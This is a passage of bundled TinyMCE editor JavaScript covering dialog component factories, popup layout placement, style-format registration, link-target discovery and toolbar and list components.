        components: [text$2(providerBackstage.translate(spec.label))],
        behaviours: derive$1([Unselecting.config({})])
      });
      const makeIcon = className => {
        const iconName = className === 'checked' ? 'selected' : 'unselected';
        return render$3(iconName, {
          tag: 'span',
          classes: [
            'tox-icon',
            'tox-checkbox-icon__' + className
          ]
        }, providerBackstage.icons);
      };
      const memIcons = record({
        dom: {
          tag: 'div',
          classes: ['tox-checkbox__icons']
        },
        components: [
          makeIcon('checked'),
          makeIcon('unchecked')
        ]
      });
      return FormField.sketch({
        dom: {
          tag: 'label',
          classes: ['tox-checkbox']
        },
        components: [
          pField,
          memIcons.asSpec(),
          pLabel
        ],
        fieldBehaviours: derive$1([
          Disabling.config({
            disabled: () => !spec.enabled || providerBackstage.isDisabled(),
            disableClass: 'tox-checkbox--disabled',
            onDisabled: comp => {
              FormField.getField(comp).each(Disabling.disable);
            },
            onEnabled: comp => {
              FormField.getField(comp).each(Disabling.enable);
            }
          }),
          receivingConfig()
        ])
      });
    };

    const renderHtmlPanel = spec => {
      if (spec.presets === 'presentation') {
        return Container.sketch({
          dom: {
            tag: 'div',
            classes: ['tox-form__group'],
            innerHtml: spec.html
          }
        });
      } else {
        return Container.sketch({
          dom: {
            tag: 'div',
            classes: ['tox-form__group'],
            innerHtml: spec.html,
            attributes: { role: 'document' }
          },
          containerBehaviours: derive$1([
            Tabstopping.config({}),
            Focusing.config({})
          ])
        });
      }
    };

    const make$2 = render => {
      return (parts, spec, dialogData, backstage) => get$g(spec, 'name').fold(() => render(spec, backstage, Optional.none()), fieldName => parts.field(fieldName, render(spec, backstage, get$g(dialogData, fieldName))));
    };
    const makeIframe = render => (parts, spec, dialogData, backstage) => {
      const iframeSpec = deepMerge(spec, { source: 'dynamic' });
      return make$2(render)(parts, iframeSpec, dialogData, backstage);
    };
    const factories = {
      bar: make$2((spec, backstage) => renderBar(spec, backstage.shared)),
      collection: make$2((spec, backstage, data) => renderCollection(spec, backstage.shared.providers, data)),
      alertbanner: make$2((spec, backstage) => renderAlertBanner(spec, backstage.shared.providers)),
      input: make$2((spec, backstage, data) => renderInput(spec, backstage.shared.providers, data)),
      textarea: make$2((spec, backstage, data) => renderTextarea(spec, backstage.shared.providers, data)),
      label: make$2((spec, backstage) => renderLabel$1(spec, backstage.shared)),
      iframe: makeIframe((spec, backstage, data) => renderIFrame(spec, backstage.shared.providers, data)),
      button: make$2((spec, backstage) => renderDialogButton(spec, backstage.shared.providers)),
      checkbox: make$2((spec, backstage, data) => renderCheckbox(spec, backstage.shared.providers, data)),
      colorinput: make$2((spec, backstage, data) => renderColorInput(spec, backstage.shared, backstage.colorinput, data)),
      colorpicker: make$2((spec, backstage, data) => renderColorPicker(spec, backstage.shared.providers, data)),
      dropzone: make$2((spec, backstage, data) => renderDropZone(spec, backstage.shared.providers, data)),
      grid: make$2((spec, backstage) => renderGrid(spec, backstage.shared)),
      listbox: make$2((spec, backstage, data) => renderListBox(spec, backstage, data)),
      selectbox: make$2((spec, backstage, data) => renderSelectBox(spec, backstage.shared.providers, data)),
      sizeinput: make$2((spec, backstage) => renderSizeInput(spec, backstage.shared.providers)),
      slider: make$2((spec, backstage, data) => renderSlider(spec, backstage.shared.providers, data)),
      urlinput: make$2((spec, backstage, data) => renderUrlInput(spec, backstage, backstage.urlinput, data)),
      customeditor: make$2(renderCustomEditor),
      htmlpanel: make$2(renderHtmlPanel),
      imagepreview: make$2((spec, _, data) => renderImagePreview(spec, data)),
      table: make$2((spec, backstage) => renderTable(spec, backstage.shared.providers)),
      panel: make$2((spec, backstage) => renderPanel(spec, backstage))
    };
    const noFormParts = {
      field: (_name, spec) => spec,
      record: constant$1([])
    };
    const interpretInForm = (parts, spec, dialogData, oldBackstage) => {
      const newBackstage = deepMerge(oldBackstage, { shared: { interpreter: childSpec => interpretParts(parts, childSpec, dialogData, newBackstage) } });
      return interpretParts(parts, spec, dialogData, newBackstage);
    };
    const interpretParts = (parts, spec, dialogData, backstage) => get$g(factories, spec.type).fold(() => {
      console.error(`Unknown factory type "${ spec.type }", defaulting to container: `, spec);
      return spec;
    }, factory => factory(parts, spec, dialogData, backstage));
    const interpretWithoutForm = (spec, dialogData, backstage) => interpretParts(noFormParts, spec, dialogData, backstage);

    const labelPrefix = 'layout-inset';
    const westEdgeX = anchor => anchor.x;
    const middleX = (anchor, element) => anchor.x + anchor.width / 2 - element.width / 2;
    const eastEdgeX = (anchor, element) => anchor.x + anchor.width - element.width;
    const northY = anchor => anchor.y;
    const southY = (anchor, element) => anchor.y + anchor.height - element.height;
    const centreY = (anchor, element) => anchor.y + anchor.height / 2 - element.height / 2;
    const southwest = (anchor, element, bubbles) => nu$6(eastEdgeX(anchor, element), southY(anchor, element), bubbles.insetSouthwest(), northwest$3(), 'southwest', boundsRestriction(anchor, {
      right: 0,
      bottom: 3
    }), labelPrefix);
    const southeast = (anchor, element, bubbles) => nu$6(westEdgeX(anchor), southY(anchor, element), bubbles.insetSoutheast(), northeast$3(), 'southeast', boundsRestriction(anchor, {
      left: 1,
      bottom: 3
    }), labelPrefix);
    const northwest = (anchor, element, bubbles) => nu$6(eastEdgeX(anchor, element), northY(anchor), bubbles.insetNorthwest(), southwest$3(), 'northwest', boundsRestriction(anchor, {
      right: 0,
      top: 2
    }), labelPrefix);
    const northeast = (anchor, element, bubbles) => nu$6(westEdgeX(anchor), northY(anchor), bubbles.insetNortheast(), southeast$3(), 'northeast', boundsRestriction(anchor, {
      left: 1,
      top: 2
    }), labelPrefix);
    const north = (anchor, element, bubbles) => nu$6(middleX(anchor, element), northY(anchor), bubbles.insetNorth(), south$3(), 'north', boundsRestriction(anchor, { top: 2 }), labelPrefix);
    const south = (anchor, element, bubbles) => nu$6(middleX(anchor, element), southY(anchor, element), bubbles.insetSouth(), north$3(), 'south', boundsRestriction(anchor, { bottom: 3 }), labelPrefix);
    const east = (anchor, element, bubbles) => nu$6(eastEdgeX(anchor, element), centreY(anchor, element), bubbles.insetEast(), west$3(), 'east', boundsRestriction(anchor, { right: 0 }), labelPrefix);
    const west = (anchor, element, bubbles) => nu$6(westEdgeX(anchor), centreY(anchor, element), bubbles.insetWest(), east$3(), 'west', boundsRestriction(anchor, { left: 1 }), labelPrefix);
    const lookupPreserveLayout = lastPlacement => {
      switch (lastPlacement) {
      case 'north':
        return north;
      case 'northeast':
        return northeast;
      case 'northwest':
        return northwest;
      case 'south':
        return south;
      case 'southeast':
        return southeast;
      case 'southwest':
        return southwest;
      case 'east':
        return east;
      case 'west':
        return west;
      }
    };
    const preserve = (anchor, element, bubbles, placee, bounds) => {
      const layout = getPlacement(placee).map(lookupPreserveLayout).getOr(north);
      return layout(anchor, element, bubbles, placee, bounds);
    };
    const lookupFlippedLayout = lastPlacement => {
      switch (lastPlacement) {
      case 'north':
        return south;
      case 'northeast':
        return southeast;
      case 'northwest':
        return southwest;
      case 'south':
        return north;
      case 'southeast':
        return northeast;
      case 'southwest':
        return northwest;
      case 'east':
        return west;
      case 'west':
        return east;
      }
    };
    const flip = (anchor, element, bubbles, placee, bounds) => {
      const layout = getPlacement(placee).map(lookupFlippedLayout).getOr(north);
      return layout(anchor, element, bubbles, placee, bounds);
    };

    const bubbleAlignments$2 = {
      valignCentre: [],
      alignCentre: [],
      alignLeft: [],
      alignRight: [],
      right: [],
      left: [],
      bottom: [],
      top: []
    };
    const getInlineDialogAnchor = (contentAreaElement, lazyAnchorbar, lazyUseEditableAreaAnchor) => {
      const bubbleSize = 12;
      const overrides = { maxHeightFunction: expandable$1() };
      const editableAreaAnchor = () => ({
        type: 'node',
        root: getContentContainer(getRootNode(contentAreaElement())),
        node: Optional.from(contentAreaElement()),
        bubble: nu$5(bubbleSize, bubbleSize, bubbleAlignments$2),
        layouts: {
          onRtl: () => [northeast],
          onLtr: () => [northwest]
        },
        overrides
      });
      const standardAnchor = () => ({
        type: 'hotspot',
        hotspot: lazyAnchorbar(),
        bubble: nu$5(-bubbleSize, bubbleSize, bubbleAlignments$2),
        layouts: {
          onRtl: () => [southeast$2],
          onLtr: () => [southwest$2]
        },
        overrides
      });
      return () => lazyUseEditableAreaAnchor() ? editableAreaAnchor() : standardAnchor();
    };
    const getBannerAnchor = (contentAreaElement, lazyAnchorbar, lazyUseEditableAreaAnchor) => {
      const editableAreaAnchor = () => ({
        type: 'node',
        root: getContentContainer(getRootNode(contentAreaElement())),
        node: Optional.from(contentAreaElement()),
        layouts: {
          onRtl: () => [north],
          onLtr: () => [north]
        }
      });
      const standardAnchor = () => ({
        type: 'hotspot',
        hotspot: lazyAnchorbar(),
        layouts: {
          onRtl: () => [south$2],
          onLtr: () => [south$2]
        }
      });
      return () => lazyUseEditableAreaAnchor() ? editableAreaAnchor() : standardAnchor();
    };
    const getCursorAnchor = (editor, bodyElement) => () => ({
      type: 'selection',
      root: bodyElement(),
      getSelection: () => {
        const rng = editor.selection.getRng();
        return Optional.some(SimSelection.range(SugarElement.fromDom(rng.startContainer), rng.startOffset, SugarElement.fromDom(rng.endContainer), rng.endOffset));
      }
    });
    const getNodeAnchor$1 = bodyElement => element => ({
      type: 'node',
      root: bodyElement(),
      node: element
    });
    const getAnchors = (editor, lazyAnchorbar, isToolbarTop) => {
      const useFixedToolbarContainer = useFixedContainer(editor);
      const bodyElement = () => SugarElement.fromDom(editor.getBody());
      const contentAreaElement = () => SugarElement.fromDom(editor.getContentAreaContainer());
      const lazyUseEditableAreaAnchor = () => useFixedToolbarContainer || !isToolbarTop();
      return {
        inlineDialog: getInlineDialogAnchor(contentAreaElement, lazyAnchorbar, lazyUseEditableAreaAnchor),
        banner: getBannerAnchor(contentAreaElement, lazyAnchorbar, lazyUseEditableAreaAnchor),
        cursor: getCursorAnchor(editor, bodyElement),
        node: getNodeAnchor$1(bodyElement)
      };
    };

    const colorPicker = editor => (callback, value) => {
      const dialog = colorPickerDialog(editor);
      dialog(callback, value);
    };
    const hasCustomColors = editor => () => hasCustomColors$1(editor);
    const getColors = editor => id => getColors$2(editor, id);
    const getColorCols = editor => id => getColorCols$1(editor, id);
    const ColorInputBackstage = editor => ({
      colorPicker: colorPicker(editor),
      hasCustomColors: hasCustomColors(editor),
      getColors: getColors(editor),
      getColorCols: getColorCols(editor)
    });

    const isDraggableModal = editor => () => isDraggableModal$1(editor);
    const DialogBackstage = editor => ({ isDraggableModal: isDraggableModal(editor) });

    const HeaderBackstage = editor => {
      const mode = Cell(isToolbarLocationBottom(editor) ? 'bottom' : 'top');
      return {
        isPositionedAtTop: () => mode.get() === 'top',
        getDockingMode: mode.get,
        setDockingMode: mode.set
      };
    };

    const isNestedFormat = format => hasNonNullableKey(format, 'items');
    const isFormatReference = format => hasNonNullableKey(format, 'format');
    const defaultStyleFormats = [
      {
        title: 'Headings',
        items: [
          {
            title: 'Heading 1',
            format: 'h1'
          },
          {
            title: 'Heading 2',
            format: 'h2'
          },
          {
            title: 'Heading 3',
            format: 'h3'
          },
          {
            title: 'Heading 4',
            format: 'h4'
          },
          {
            title: 'Heading 5',
            format: 'h5'
          },
          {
            title: 'Heading 6',
            format: 'h6'
          }
        ]
      },
      {
        title: 'Inline',
        items: [
          {
            title: 'Bold',
            format: 'bold'
          },
          {
            title: 'Italic',
            format: 'italic'
          },
          {
            title: 'Underline',
            format: 'underline'
          },
          {
            title: 'Strikethrough',
            format: 'strikethrough'
          },
          {
            title: 'Superscript',
            format: 'superscript'
          },
          {
            title: 'Subscript',
            format: 'subscript'
          },
          {
            title: 'Code',
            format: 'code'
          }
        ]
      },
      {
        title: 'Blocks',
        items: [
          {
            title: 'Paragraph',
            format: 'p'
          },
          {
            title: 'Blockquote',
            format: 'blockquote'
          },
          {
            title: 'Div',
            format: 'div'
          },
          {
            title: 'Pre',
            format: 'pre'
          }
        ]
      },
      {
        title: 'Align',
        items: [
          {
            title: 'Left',
            format: 'alignleft'
          },
          {
            title: 'Center',
            format: 'aligncenter'
          },
          {
            title: 'Right',
            format: 'alignright'
          },
          {
            title: 'Justify',
            format: 'alignjustify'
          }
        ]
      }
    ];
    const isNestedFormats = format => has$2(format, 'items');
    const isBlockFormat = format => has$2(format, 'block');
    const isInlineFormat = format => has$2(format, 'inline');
    const isSelectorFormat = format => has$2(format, 'selector');
    const mapFormats = userFormats => foldl(userFormats, (acc, fmt) => {
      if (isNestedFormats(fmt)) {
        const result = mapFormats(fmt.items);
        return {
          customFormats: acc.customFormats.concat(result.customFormats),
          formats: acc.formats.concat([{
              title: fmt.title,
              items: result.formats
            }])
        };
      } else if (isInlineFormat(fmt) || isBlockFormat(fmt) || isSelectorFormat(fmt)) {
        const formatName = isString(fmt.name) ? fmt.name : fmt.title.toLowerCase();
        const formatNameWithPrefix = `custom-${ formatName }`;
        return {
          customFormats: acc.customFormats.concat([{
              name: formatNameWithPrefix,
              format: fmt
            }]),
          formats: acc.formats.concat([{
              title: fmt.title,
              format: formatNameWithPrefix,
              icon: fmt.icon
            }])
        };
      } else {
        return {
          ...acc,
          formats: acc.formats.concat(fmt)
        };
      }
    }, {
      customFormats: [],
      formats: []
    });
    const registerCustomFormats = (editor, userFormats) => {
      const result = mapFormats(userFormats);
      const registerFormats = customFormats => {
        each$1(customFormats, fmt => {
          if (!editor.formatter.has(fmt.name)) {
            editor.formatter.register(fmt.name, fmt.format);
          }
        });
      };
      if (editor.formatter) {
        registerFormats(result.customFormats);
      } else {
        editor.on('init', () => {
          registerFormats(result.customFormats);
        });
      }
      return result.formats;
    };
    const getStyleFormats = editor => getUserStyleFormats(editor).map(userFormats => {
      const registeredUserFormats = registerCustomFormats(editor, userFormats);
      return shouldMergeStyleFormats(editor) ? defaultStyleFormats.concat(registeredUserFormats) : registeredUserFormats;
    }).getOr(defaultStyleFormats);

    const isSeparator$1 = format => {
      const keys$1 = keys(format);
      return keys$1.length === 1 && contains$2(keys$1, 'title');
    };
    const processBasic = (item, isSelectedFor, getPreviewFor) => ({
      ...item,
      type: 'formatter',
      isSelected: isSelectedFor(item.format),
      getStylePreview: getPreviewFor(item.format)
    });
    const register$a = (editor, formats, isSelectedFor, getPreviewFor) => {
      const enrichSupported = item => processBasic(item, isSelectedFor, getPreviewFor);
      const enrichMenu = item => {
        const newItems = doEnrich(item.items);
        return {
          ...item,
          type: 'submenu',
          getStyleItems: constant$1(newItems)
        };
      };
      const enrichCustom = item => {
        const formatName = isString(item.name) ? item.name : generate$6(item.title);
        const formatNameWithPrefix = `custom-${ formatName }`;
        const newItem = {
          ...item,
          type: 'formatter',
          format: formatNameWithPrefix,
          isSelected: isSelectedFor(formatNameWithPrefix),
          getStylePreview: getPreviewFor(formatNameWithPrefix)
        };
        editor.formatter.register(formatName, newItem);
        return newItem;
      };
      const doEnrich = items => map$2(items, item => {
        if (isNestedFormat(item)) {
          return enrichMenu(item);
        } else if (isFormatReference(item)) {
          return enrichSupported(item);
        } else if (isSeparator$1(item)) {
          return {
            ...item,
            type: 'separator'
          };
        } else {
          return enrichCustom(item);
        }
      });
      return doEnrich(formats);
    };

    const init$8 = editor => {
      const isSelectedFor = format => () => editor.formatter.match(format);
      const getPreviewFor = format => () => {
        const fmt = editor.formatter.get(format);
        return fmt !== undefined ? Optional.some({
          tag: fmt.length > 0 ? fmt[0].inline || fmt[0].block || 'div' : 'div',
          styles: editor.dom.parseStyle(editor.formatter.getCssText(format))
        }) : Optional.none();
      };
      const settingsFormats = Cell([]);
      const eventsFormats = Cell([]);
      const replaceSettings = Cell(false);
      editor.on('PreInit', _e => {
        const formats = getStyleFormats(editor);
        const enriched = register$a(editor, formats, isSelectedFor, getPreviewFor);
        settingsFormats.set(enriched);
      });
      editor.on('addStyleModifications', e => {
        const modifications = register$a(editor, e.items, isSelectedFor, getPreviewFor);
        eventsFormats.set(modifications);
        replaceSettings.set(e.replace);
      });
      const getData = () => {
        const fromSettings = replaceSettings.get() ? [] : settingsFormats.get();
        const fromEvents = eventsFormats.get();
        return fromSettings.concat(fromEvents);
      };
      return { getData };
    };

    const isElement = node => isNonNullable(node) && node.nodeType === 1;
    const trim = global$1.trim;
    const hasContentEditableState = value => {
      return node => {
        if (isElement(node)) {
          if (node.contentEditable === value) {
            return true;
          }
          if (node.getAttribute('data-mce-contenteditable') === value) {
            return true;
          }
        }
        return false;
      };
    };
    const isContentEditableTrue = hasContentEditableState('true');
    const isContentEditableFalse = hasContentEditableState('false');
    const create$1 = (type, title, url, level, attach) => ({
      type,
      title,
      url,
      level,
      attach
    });
    const isChildOfContentEditableTrue = node => {
      let tempNode = node;
      while (tempNode = tempNode.parentNode) {
        const value = tempNode.contentEditable;
        if (value && value !== 'inherit') {
          return isContentEditableTrue(tempNode);
        }
      }
      return false;
    };
    const select = (selector, root) => {
      return map$2(descendants(SugarElement.fromDom(root), selector), element => {
        return element.dom;
      });
    };
    const getElementText = elm => {
      return elm.innerText || elm.textContent;
    };
    const getOrGenerateId = elm => {
      return elm.id ? elm.id : generate$6('h');
    };
    const isAnchor = elm => {
      return elm && elm.nodeName === 'A' && (elm.id || elm.name) !== undefined;
    };
    const isValidAnchor = elm => {
      return isAnchor(elm) && isEditable(elm);
    };
    const isHeader = elm => {
      return elm && /^(H[1-6])$/.test(elm.nodeName);
    };
    const isEditable = elm => {
      return isChildOfContentEditableTrue(elm) && !isContentEditableFalse(elm);
    };
    const isValidHeader = elm => {
      return isHeader(elm) && isEditable(elm);
    };
    const getLevel = elm => {
      return isHeader(elm) ? parseInt(elm.nodeName.substr(1), 10) : 0;
    };
    const headerTarget = elm => {
      var _a;
      const headerId = getOrGenerateId(elm);
      const attach = () => {
        elm.id = headerId;
      };
      return create$1('header', (_a = getElementText(elm)) !== null && _a !== void 0 ? _a : '', '#' + headerId, getLevel(elm), attach);
    };
    const anchorTarget = elm => {
      const anchorId = elm.id || elm.name;
      const anchorText = getElementText(elm);
      return create$1('anchor', anchorText ? anchorText : '#' + anchorId, '#' + anchorId, 0, noop);
    };
    const getHeaderTargets = elms => {
      return map$2(filter$2(elms, isValidHeader), headerTarget);
    };
    const getAnchorTargets = elms => {
      return map$2(filter$2(elms, isValidAnchor), anchorTarget);
    };
    const getTargetElements = elm => {
      const elms = select('h1,h2,h3,h4,h5,h6,a:not([href])', elm);
      return elms;
    };
    const hasTitle = target => {
      return trim(target.title).length > 0;
    };
    const find = elm => {
      const elms = getTargetElements(elm);
      return filter$2(getHeaderTargets(elms).concat(getAnchorTargets(elms)), hasTitle);
    };
    const LinkTargets = { find };

    const STORAGE_KEY = 'tinymce-url-history';
    const HISTORY_LENGTH = 5;
    const isHttpUrl = url => isString(url) && /^https?/.test(url);
    const isArrayOfUrl = a => isArray(a) && a.length <= HISTORY_LENGTH && forall(a, isHttpUrl);
    const isRecordOfUrlArray = r => isObject(r) && find$4(r, value => !isArrayOfUrl(value)).isNone();
    const getAllHistory = () => {
      const unparsedHistory = global$4.getItem(STORAGE_KEY);
      if (unparsedHistory === null) {
        return {};
      }
      let history;
      try {
        history = JSON.parse(unparsedHistory);
      } catch (e) {
        if (e instanceof SyntaxError) {
          console.log('Local storage ' + STORAGE_KEY + ' was not valid JSON', e);
          return {};
        }
        throw e;
      }
      if (!isRecordOfUrlArray(history)) {
        console.log('Local storage ' + STORAGE_KEY + ' was not valid format', history);
        return {};
      }
      return history;
    };
    const setAllHistory = history => {
      if (!isRecordOfUrlArray(history)) {
        throw new Error('Bad format for history:\n' + JSON.stringify(history));
      }
      global$4.setItem(STORAGE_KEY, JSON.stringify(history));
    };
    const getHistory = fileType => {
      const history = getAllHistory();
      return get$g(history, fileType).getOr([]);
    };
    const addToHistory = (url, fileType) => {
      if (!isHttpUrl(url)) {
        return;
      }
      const history = getAllHistory();
      const items = get$g(history, fileType).getOr([]);
      const itemsWithoutUrl = filter$2(items, item => item !== url);
      history[fileType] = [url].concat(itemsWithoutUrl).slice(0, HISTORY_LENGTH);
      setAllHistory(history);
    };

    const isTruthy = value => !!value;
    const makeMap = value => map$1(global$1.makeMap(value, /[, ]/), isTruthy);
    const getPicker = editor => Optional.from(getFilePickerCallback(editor));
    const getPickerTypes = editor => {
      const optFileTypes = Optional.from(getFilePickerTypes(editor)).filter(isTruthy).map(makeMap);
      return getPicker(editor).fold(never, _picker => optFileTypes.fold(always, types => keys(types).length > 0 ? types : false));
    };
    const getPickerSetting = (editor, filetype) => {
      const pickerTypes = getPickerTypes(editor);
      if (isBoolean(pickerTypes)) {
        return pickerTypes ? getPicker(editor) : Optional.none();
      } else {
        return pickerTypes[filetype] ? getPicker(editor) : Optional.none();
      }
    };
    const getUrlPicker = (editor, filetype) => getPickerSetting(editor, filetype).map(picker => entry => Future.nu(completer => {
      const handler = (value, meta) => {
        if (!isString(value)) {
          throw new Error('Expected value to be string');
        }
        if (meta !== undefined && !isObject(meta)) {
          throw new Error('Expected meta to be a object');
        }
        const r = {
          value,
          meta
        };
        completer(r);
      };
      const meta = {
        filetype,
        fieldname: entry.fieldname,
        ...Optional.from(entry.meta).getOr({})
      };
      picker.call(editor, handler, entry.value, meta);
    }));
    const getTextSetting = value => Optional.from(value).filter(isString).getOrUndefined();
    const getLinkInformation = editor => {
      if (!useTypeaheadUrls(editor)) {
        return Optional.none();
      }
      return Optional.some({
        targets: LinkTargets.find(editor.getBody()),
        anchorTop: getTextSetting(getAnchorTop(editor)),
        anchorBottom: getTextSetting(getAnchorBottom(editor))
      });
    };
    const getValidationHandler = editor => Optional.from(getFilePickerValidatorHandler(editor));
    const UrlInputBackstage = editor => ({
      getHistory,
      addToHistory,
      getLinkInformation: () => getLinkInformation(editor),
      getValidationHandler: () => getValidationHandler(editor),
      getUrlPicker: filetype => getUrlPicker(editor, filetype)
    });

    const init$7 = (lazySinks, editor, lazyAnchorbar) => {
      const contextMenuState = Cell(false);
      const toolbar = HeaderBackstage(editor);
      const providers = {
        icons: () => editor.ui.registry.getAll().icons,
        menuItems: () => editor.ui.registry.getAll().menuItems,
        translate: global$8.translate,
        isDisabled: () => editor.mode.isReadOnly() || !editor.ui.isEnabled(),
        getOption: editor.options.get
      };
      const urlinput = UrlInputBackstage(editor);
      const styles = init$8(editor);
      const colorinput = ColorInputBackstage(editor);
      const dialogSettings = DialogBackstage(editor);
      const isContextMenuOpen = () => contextMenuState.get();
      const setContextMenuState = state => contextMenuState.set(state);
      const commonBackstage = {
        shared: {
          providers,
          anchors: getAnchors(editor, lazyAnchorbar, toolbar.isPositionedAtTop),
          header: toolbar
        },
        urlinput,
        styles,
        colorinput,
        dialog: dialogSettings,
        isContextMenuOpen,
        setContextMenuState
      };
      const popupBackstage = {
        ...commonBackstage,
        shared: {
          ...commonBackstage.shared,
          interpreter: s => interpretWithoutForm(s, {}, popupBackstage),
          getSink: lazySinks.popup
        }
      };
      const dialogBackstage = {
        ...commonBackstage,
        shared: {
          ...commonBackstage.shared,
          interpreter: s => interpretWithoutForm(s, {}, dialogBackstage),
          getSink: lazySinks.dialog
        }
      };
      return {
        popup: popupBackstage,
        dialog: dialogBackstage
      };
    };

    const setup$b = (editor, mothership, uiMotherships) => {
      const broadcastEvent = (name, evt) => {
        each$1([
          mothership,
          ...uiMotherships
        ], m => {
          m.broadcastEvent(name, evt);
        });
      };
      const broadcastOn = (channel, message) => {
        each$1([
          mothership,
          ...uiMotherships
        ], m => {
          m.broadcastOn([channel], message);
        });
      };
      const fireDismissPopups = evt => broadcastOn(dismissPopups(), { target: evt.target });
      const doc = getDocument();
      const onTouchstart = bind(doc, 'touchstart', fireDismissPopups);
      const onTouchmove = bind(doc, 'touchmove', evt => broadcastEvent(documentTouchmove(), evt));
      const onTouchend = bind(doc, 'touchend', evt => broadcastEvent(documentTouchend(), evt));
      const onMousedown = bind(doc, 'mousedown', fireDismissPopups);
      const onMouseup = bind(doc, 'mouseup', evt => {
        if (evt.raw.button === 0) {
          broadcastOn(mouseReleased(), { target: evt.target });
        }
      });
      const onContentClick = raw => broadcastOn(dismissPopups(), { target: SugarElement.fromDom(raw.target) });
      const onContentMouseup = raw => {
        if (raw.button === 0) {
          broadcastOn(mouseReleased(), { target: SugarElement.fromDom(raw.target) });
        }
      };
      const onContentMousedown = () => {
        each$1(editor.editorManager.get(), loopEditor => {
          if (editor !== loopEditor) {
            loopEditor.dispatch('DismissPopups', { relatedTarget: editor });
          }
        });
      };
      const onWindowScroll = evt => broadcastEvent(windowScroll(), fromRawEvent(evt));
      const onWindowResize = evt => {
        broadcastOn(repositionPopups(), {});
        broadcastEvent(windowResize(), fromRawEvent(evt));
      };
      const onEditorResize = () => broadcastOn(repositionPopups(), {});
      const onEditorProgress = evt => {
        if (evt.state) {
          broadcastOn(dismissPopups(), { target: SugarElement.fromDom(editor.getContainer()) });
        }
      };
      const onDismissPopups = event => {
        broadcastOn(dismissPopups(), { target: SugarElement.fromDom(event.relatedTarget.getContainer()) });
      };
      editor.on('PostRender', () => {
        editor.on('click', onContentClick);
        editor.on('tap', onContentClick);
        editor.on('mouseup', onContentMouseup);
        editor.on('mousedown', onContentMousedown);
        editor.on('ScrollWindow', onWindowScroll);
        editor.on('ResizeWindow', onWindowResize);
        editor.on('ResizeEditor', onEditorResize);
        editor.on('AfterProgressState', onEditorProgress);
        editor.on('DismissPopups', onDismissPopups);
      });
      editor.on('remove', () => {
        editor.off('click', onContentClick);
        editor.off('tap', onContentClick);
        editor.off('mouseup', onContentMouseup);
        editor.off('mousedown', onContentMousedown);
        editor.off('ScrollWindow', onWindowScroll);
        editor.off('ResizeWindow', onWindowResize);
        editor.off('ResizeEditor', onEditorResize);
        editor.off('AfterProgressState', onEditorProgress);
        editor.off('DismissPopups', onDismissPopups);
        onMousedown.unbind();
        onTouchstart.unbind();
        onTouchmove.unbind();
        onTouchend.unbind();
        onMouseup.unbind();
      });
      editor.on('detach', () => {
        each$1([
          mothership,
          ...uiMotherships
        ], detachSystem);
        each$1([
          mothership,
          ...uiMotherships
        ], m => m.destroy());
      });
    };

    const parts$a = AlloyParts;
    const partType = PartType;

    const schema$f = constant$1([
      defaulted('shell', false),
      required$1('makeItem'),
      defaulted('setupItem', noop),
      SketchBehaviours.field('listBehaviours', [Replacing])
    ]);
    const customListDetail = () => ({ behaviours: derive$1([Replacing.config({})]) });
    const itemsPart = optional({
      name: 'items',
      overrides: customListDetail
    });
    const parts$9 = constant$1([itemsPart]);
    const name = constant$1('CustomList');

    const factory$f = (detail, components, _spec, _external) => {
      const setItems = (list, items) => {
        getListContainer(list).fold(() => {
          console.error('Custom List was defined to not be a shell, but no item container was specified in components');
          throw new Error('Custom List was defined to not be a shell, but no item container was specified in components');
        }, container => {
          const itemComps = Replacing.contents(container);
          const numListsRequired = items.length;
          const numListsToAdd = numListsRequired - itemComps.length;
          const itemsToAdd = numListsToAdd > 0 ? range$2(numListsToAdd, () => detail.makeItem()) : [];
          const itemsToRemove = itemComps.slice(numListsRequired);
          each$1(itemsToRemove, item => Replacing.remove(container, item));
          each$1(itemsToAdd, item => Replacing.append(container, item));
          const builtLists = Replacing.contents(container);
          each$1(builtLists, (item, i) => {
            detail.setupItem(list, item, items[i], i);
          });
        });
      };
      const extra = detail.shell ? {
        behaviours: [Replacing.config({})],
        components: []
      } : {
        behaviours: [],
        components
      };
      const getListContainer = component => detail.shell ? Optional.some(component) : getPart(component, detail, 'items');
      return {
        uid: detail.uid,
        dom: detail.dom,
        components: extra.components,
        behaviours: augment(detail.listBehaviours, extra.behaviours),
        apis: { setItems }
      };
    };
    const CustomList = composite({
      name: name(),
      configFields: schema$f(),
      partFields: parts$9(),
      factory: factory$f,
      apis: {
        setItems: (apis, list, items) => {
          apis.setItems(list, items);
        }
      }
    });

    const schema$e = constant$1([
      required$1('dom'),
      defaulted('shell', true),
      field('toolbarBehaviours', [Replacing])
    ]);
    const enhanceGroups = () => ({ behaviours: derive$1([Replacing.config({})]) });
    const parts$8 = constant$1([optional({
        name: 'groups',
        overrides: enhanceGroups
      })]);

    const factory$e = (detail, components, _spec, _externals) => {
      const setGroups = (toolbar, groups) => {
        getGroupContainer(toolbar).fold(() => {
          console.error('Toolbar was defined to not be a shell, but no groups container was specified in components');
          throw new Error('Toolbar was defined to not be a shell, but no groups container was specified in components');
        }, container => {
          Replacing.set(container, groups);
        });
      };
      const getGroupContainer = component => detail.shell ? Optional.some(component) : getPart(component, detail, 'groups');
      const extra = detail.shell ? {
        behaviours: [Replacing.config({})],
        components: []
      } : {
        behaviours: [],
        components
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components: extra.components,
        behaviours: augment(detail.toolbarBehaviours, extra.behaviours),
        apis: { setGroups },
        domModification: { attributes: { role: 'group' } }
      };
    };
    const Toolbar = composite({
      name: 'Toolbar',
      configFields: schema$e(),
      partFields: parts$8(),
      factory: factory$e,
      apis: {
        setGroups: (apis, toolbar, groups) => {
          apis.setGroups(toolbar, groups);
        }
      }
    });

    const setup$a = noop;
    const isDocked$2 = never;
    const getBehaviours$1 = constant$1([]);

    var StaticHeader = /*#__PURE__*/Object.freeze({
        __proto__: null,
        setup: setup$a,
        isDocked: isDocked$2,
        getBehaviours: getBehaviours$1
    });

    const getOffsetParent = element => {
      const isFixed = is$1(getRaw(element, 'position'), 'fixed');
      const offsetParent$1 = isFixed ? Optional.none() : offsetParent(element);
      return offsetParent$1.orThunk(() => {
        const marker = SugarElement.fromTag('span');
        return parent(element).bind(parent => {
          append$2(parent, marker);
          const offsetParent$1 = offsetParent(marker);
          remove$5(marker);
          return offsetParent$1;
        });
      });
    };
    const getOrigin = element => getOffsetParent(element).map(absolute$3).getOrThunk(() => SugarPosition(0, 0));

    const morphAdt = Adt.generate([
      { static: [] },
      { absolute: ['positionCss'] },
      { fixed: ['positionCss'] }
    ]);
    const appear = (component, contextualInfo) => {
      const elem = component.element;
      add$2(elem, contextualInfo.transitionClass);
      remove$2(elem, contextualInfo.fadeOutClass);
